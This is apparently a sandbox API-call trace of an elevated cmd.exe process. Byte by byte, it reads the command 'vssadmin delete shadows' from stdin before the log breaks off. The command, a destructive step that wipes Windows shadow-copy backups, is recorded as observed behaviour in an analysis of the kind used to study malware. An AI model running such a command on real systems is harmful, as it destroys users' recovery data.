ApiSetQueryApiSetPresence () returned 0x0 [0281.789] ResolveDelayLoadedAPI () returned 0x7ff9990ed990 [0281.793] BrandingFormatString () returned 0x22692ff6a40 [0281.800] GetVersion () returned 0x3ad7000a [0281.800] _vsnwprintf (in: _Buffer=0x63a40ffad0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x63a40ffa68 | out: _Buffer="10.0.15063") returned 10 [0281.800] _get_osfhandle (_FileHandle=1) returned 0x214 [0281.800] GetFileType (hFile=0x214) returned 0x3 [0281.800] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7c55a7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0281.801] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7c55a7f60, nSize=0x2000, Arguments=0x63a40ffa70 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0281.801] _get_osfhandle (_FileHandle=1) returned 0x214 [0281.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0281.801] WriteFile (in: hFile=0x214, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x63a40ff9c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0x63a40ff9c8*=0x26, lpOverlapped=0x0) returned 1 [0281.801] _vsnwprintf (in: _Buffer=0x7ff7c55a7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x63a40ffa98 | out: _Buffer="\r\n") returned 2 [0281.801] _get_osfhandle (_FileHandle=1) returned 0x214 [0281.801] GetFileType (hFile=0x214) returned 0x3 [0281.801] _get_osfhandle (_FileHandle=1) returned 0x214 [0281.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0281.801] WriteFile (in: hFile=0x214, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x63a40ffa68, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0x63a40ffa68*=0x2, lpOverlapped=0x0) returned 1 [0281.801] _vsnwprintf (in: _Buffer=0x7ff7c55a7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x63a40ffa98 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0281.801] _get_osfhandle (_FileHandle=1) returned 0x214 [0281.801] GetFileType (hFile=0x214) returned 0x3 [0281.801] _get_osfhandle (_FileHandle=1) returned 0x214 [0281.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0281.801] WriteFile (in: hFile=0x214, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x63a40ffa68, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0x63a40ffa68*=0x34, lpOverlapped=0x0) returned 1 [0281.801] _vsnwprintf (in: _Buffer=0x7ff7c55a7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x63a40ffa98 | out: _Buffer="\r\n") returned 2 [0281.801] _get_osfhandle (_FileHandle=1) returned 0x214 [0281.801] GetFileType (hFile=0x214) returned 0x3 [0281.801] _get_osfhandle (_FileHandle=1) returned 0x214 [0281.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0281.801] WriteFile (in: hFile=0x214, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x63a40ffa68, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0x63a40ffa68*=0x2, lpOverlapped=0x0) returned 1 [0281.802] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9b62f0000 [0281.802] GetProcAddress (hModule=0x7ff9b62f0000, lpProcName="CopyFileExW") returned 0x7ff9b630e830 [0281.802] GetProcAddress (hModule=0x7ff9b62f0000, lpProcName="IsDebuggerPresent") returned 0x7ff9b630e300 [0281.802] GetProcAddress (hModule=0x7ff9b62f0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff9b3900a40 [0281.802] ??_V@YAXPEAX@Z () returned 0x1 [0281.802] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0281.803] GetFileType (hFile=0x1e8) returned 0x3 [0281.803] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0281.803] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x63a40ff8d8 | out: TokenHandle=0x63a40ff8d8*=0x0) returned 0xc000007c [0281.803] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x63a40ff8d8 | out: TokenHandle=0x63a40ff8d8*=0x98) returned 0x0 [0281.803] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0x63a40ff888, TokenInformationLength=0x4, ReturnLength=0x63a40ff890 | out: TokenInformation=0x63a40ff888, ReturnLength=0x63a40ff890) returned 0x0 [0281.803] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0x63a40ff890, TokenInformationLength=0x4, ReturnLength=0x63a40ff888 | out: TokenInformation=0x63a40ff890, ReturnLength=0x63a40ff888) returned 0x0 [0281.803] NtClose (Handle=0x98) returned 0x0 [0281.803] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x63a40ff8a0, nSize=0x0, Arguments=0x63a40ff8a8 | out: lpBuffer="枠鋿Ȧ") returned 0xf [0281.803] GetProcessHeap () returned 0x22692ff0000 [0281.803] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x218) returned 0x22692ff8bb0 [0281.803] GetConsoleTitleW (in: lpConsoleTitle=0x63a40ff8f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0282.277] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0282.277] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0282.839] GetProcessHeap () returned 0x22692ff0000 [0282.839] RtlFreeHeap (HeapHandle=0x22692ff0000, Flags=0x0, BaseAddress=0x22692ff8bb0) returned 1 [0282.839] LocalFree (hMem=0x22692ff67a0) returned 0x0 [0282.840] _vsnwprintf (in: _Buffer=0x7ff7c55a7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x63a40ff718 | out: _Buffer="\r\n") returned 2 [0282.840] _get_osfhandle (_FileHandle=1) returned 0x214 [0282.840] GetFileType (hFile=0x214) returned 0x3 [0282.840] _get_osfhandle (_FileHandle=1) returned 0x214 [0282.840] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0282.840] WriteFile (in: hFile=0x214, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x63a40ff6e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0x63a40ff6e8*=0x2, lpOverlapped=0x0) returned 1 [0282.841] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0282.841] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x226930f0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0282.841] malloc (_Size=0x107ce) returned 0x22693100060 [0282.842] _vsnwprintf (in: _Buffer=0x22693100060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x63a40ff728 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0282.842] _vsnwprintf (in: _Buffer=0x22693100086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x63a40ff728 | out: _Buffer=">") returned 1 [0282.842] _get_osfhandle (_FileHandle=1) returned 0x214 [0282.842] GetFileType (hFile=0x214) returned 0x3 [0282.842] _get_osfhandle (_FileHandle=1) returned 0x214 [0282.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0282.842] WriteFile (in: hFile=0x214, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x63a40ff718, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0x63a40ff718*=0x14, lpOverlapped=0x0) returned 1 [0282.843] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.843] GetFileType (hFile=0x1e8) returned 0x3 [0282.843] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.843] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.843] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c30, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0282.843] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.843] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.843] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c32, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0282.844] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.844] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.844] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c34, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0282.844] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.844] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.844] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c36, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0282.844] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.844] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.844] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c38, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0282.844] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.844] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.845] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c3a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0282.845] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.845] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.845] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c3c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0282.845] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.845] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.845] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0282.845] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.845] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.845] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0282.845] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.845] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.845] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c42, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0282.846] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.846] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.846] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c44, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0282.846] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.846] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.846] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c46, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0282.846] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.846] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.846] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0282.846] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.846] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.847] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c4a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0282.847] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.847] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.847] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c4c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0282.847] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.847] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.847] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c4e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0282.847] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.847] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.847] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c50, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0282.847] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.848] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.848] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c52, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0282.848] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.848] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.848] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c54, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0282.848] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.848] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.848] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c56, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0282.848] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.848] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.848] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c58, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0282.849] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.849] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.849] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c5a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0282.849] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.849] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.849] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0x63a40ffa78*=0x1, lpOverlapped=0x0) returned 1 [0282.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c5c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0282.849] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0282.849] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.849] ReadFile (in: hFile=0x1e8, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x63a40ffa78, lpOverlapped=0x0 | out: 